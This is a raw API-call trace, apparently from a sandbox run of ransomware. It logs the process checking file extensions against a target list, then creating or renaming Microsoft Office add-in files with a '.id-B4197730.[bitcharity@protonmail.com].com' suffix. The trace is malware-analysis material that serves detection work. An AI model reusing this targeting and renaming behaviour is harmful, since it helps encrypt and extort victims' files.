"c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ar\\microsoft.mashup.client.excel.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1288 [0259.073] GetFileSizeEx (in: hFile=0x1288, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=64168) returned 1 [0259.073] CloseHandle (hObject=0x1288) returned 1 [0259.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ar\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ar\\microsoft.mashup.client.excel.resources.dll")) returned 0x220 [0259.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ar\\Microsoft.Mashup.Client.Excel.resources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ar\\microsoft.mashup.client.excel.resources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0259.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ar\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ar\\microsoft.mashup.client.excel.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ar\\Microsoft.Mashup.Client.Excel.resources.dll") returned 148 [0259.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ar\\Microsoft.Mashup.Client.Excel.resources.dll") returned 148 [0259.074] lstrlenW (lpString=".doc") returned 4 [0259.074] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0259.074] lstrlenW (lpString=".docx") returned 5 [0259.074] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0259.074] lstrlenW (lpString=".pdf") returned 4 [0259.074] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0259.074] lstrlenW (lpString=".xls") returned 4 [0259.074] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0259.074] lstrlenW (lpString=".xlsx") returned 5 [0259.074] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0259.074] lstrlenW (lpString=".ppt") returned 4 [0259.074] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0259.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ar\\Microsoft.Mashup.Client.Excel.resources.dll") returned 148 [0259.074] lstrlenW (lpString=".zip") returned 4 [0259.074] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0259.074] lstrlenW (lpString=".rar") returned 4 [0259.074] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0259.074] lstrlenW (lpString=".bz2") returned 4 [0259.074] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0259.075] lstrlenW (lpString=".7z") returned 3 [0259.075] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0259.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ar\\Microsoft.Mashup.Client.Excel.resources.dll") returned 148 [0259.075] lstrlenW (lpString=".dbf") returned 4 [0259.075] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0264.022] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.022] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\no\\PowerViewRes.no.xap.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\no\\powerviewres.no.xap.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.023] CloseHandle (hObject=0x1154) returned 1 [0264.029] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.029] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pl\\PowerViewRes.pl.xap.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\pl\\powerviewres.pl.xap.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.030] CloseHandle (hObject=0x1154) returned 1 [0264.040] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.040] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt\\PowerViewRes.pt.xap.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\pt\\powerviewres.pt.xap.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.041] CloseHandle (hObject=0x11d0) returned 1 [0264.046] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.047] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt-PT\\PowerViewRes.pt-PT.xap.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\pt-pt\\powerviewres.pt-pt.xap.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.047] CloseHandle (hObject=0x11d0) returned 1 [0264.061] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.061] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ro\\PowerViewRes.ro.xap.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\ro\\powerviewres.ro.xap.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.062] CloseHandle (hObject=0x112c) returned 1 [0264.070] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.070] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ru\\PowerViewRes.ru.xap.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\ru\\powerviewres.ru.xap.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.071] CloseHandle (hObject=0x1280) returned 1 [0264.491] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.491] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sv\\PowerViewRes.sv.xap.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\sv\\powerviewres.sv.xap.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.491] CloseHandle (hObject=0x1154) returned 1 [0264.498] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.498] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\th\\PowerViewRes.th.xap.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\th\\powerviewres.th.xap.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.499] CloseHandle (hObject=0x1154) returned 1 [0264.504] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.504] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\tr\\PowerViewRes.tr.xap.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\tr\\powerviewres.tr.xap.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.505] CloseHandle (hObject=0x1154) returned 1 [0264.509] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.509] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\uk\\PowerViewRes.uk.xap.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\uk\\powerviewres.uk.xap.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.510] CloseHandle (hObject=0x1154) returned 1 [0264.515] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.515] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\vi\\PowerViewRes.vi.xap.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\vi\\powerviewres.vi.xap.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.515] CloseHandle (hObject=0x1154) returned 1 [0264.522] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.522] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHS\\PowerViewRes.zh-CHS.xap.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\zh-chs\\powerviewres.zh-chs.xap.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.522] CloseHandle (hObject=0x1154) returned 1 [0265.555] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\gl\\microsoft.analysisservices.excel.common.frontend.resources.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\gl\\microsoft.analysisservices.excel.common.frontend.resources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0265.581] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\he\\microsoft.analysisservices.excel.common.frontend.resources.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\he\\microsoft.analysisservices.excel.common.frontend.resources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0265.606] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\hi\\microsoft.analysisservices.excel.common.frontend.resources.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\hi\\microsoft.analysisservices.excel.common.frontend.resources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0265.617] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\hr\\microsoft.analysisservices.excel.common.frontend.resources.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\hr\\microsoft.analysisservices.excel.common.frontend.resources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0266.803] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.803] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1055\\PowerPivotExcelClientAddIn.rll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1055\\powerpivotexcelclientaddin.rll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.803] CloseHandle (hObject=0x1278) returned 1 [0266.804] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.804] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1057\\PowerPivotExcelClientAddIn.rll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1057\\powerpivotexcelclientaddin.rll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.805] CloseHandle (hObject=0x1278) returned 1 [0266.805] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.805] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1058\\PowerPivotExcelClientAddIn.rll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1058\\powerpivotexcelclientaddin.rll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.806] CloseHandle (hObject=0x1278) returned 1 [0266.806] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.806] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1060\\PowerPivotExcelClientAddIn.rll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1060\\powerpivotexcelclientaddin.rll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.807] CloseHandle (hObject=0x1278) returned 1 [0266.807] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.807] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1061\\PowerPivotExcelClientAddIn.rll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1061\\powerpivotexcelclientaddin.rll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.808] CloseHandle (hObject=0x1278) returned 1 [0266.808] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.808] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1062\\PowerPivotExcelClientAddIn.rll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1062\\powerpivotexcelclientaddin.rll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.809] CloseHandle (hObject=0x1278) returned 1 [0266.809] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.809] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1063\\PowerPivotExcelClientAddIn.rll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1063\\powerpivotexcelclientaddin.rll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.809] CloseHandle (hObject=0x1278) returned 1 [0266.810] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.810] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1066\\PowerPivotExcelClientAddIn.rll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1066\\powerpivotexcelclientaddin.rll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.811] CloseHandle (hObject=0x1278) returned 1 [0266.811] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.811] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1069\\PowerPivotExcelClientAddIn.rll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1069\\powerpivotexcelclientaddin.rll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.812] CloseHandle (hObject=0x1278) returned 1 [0266.813] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.813] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1081\\PowerPivotExcelClientAddIn.rll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1081\\powerpivotexcelclientaddin.rll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.813] CloseHandle (hObject=0x1278) returned 1 [0266.814] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.815] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 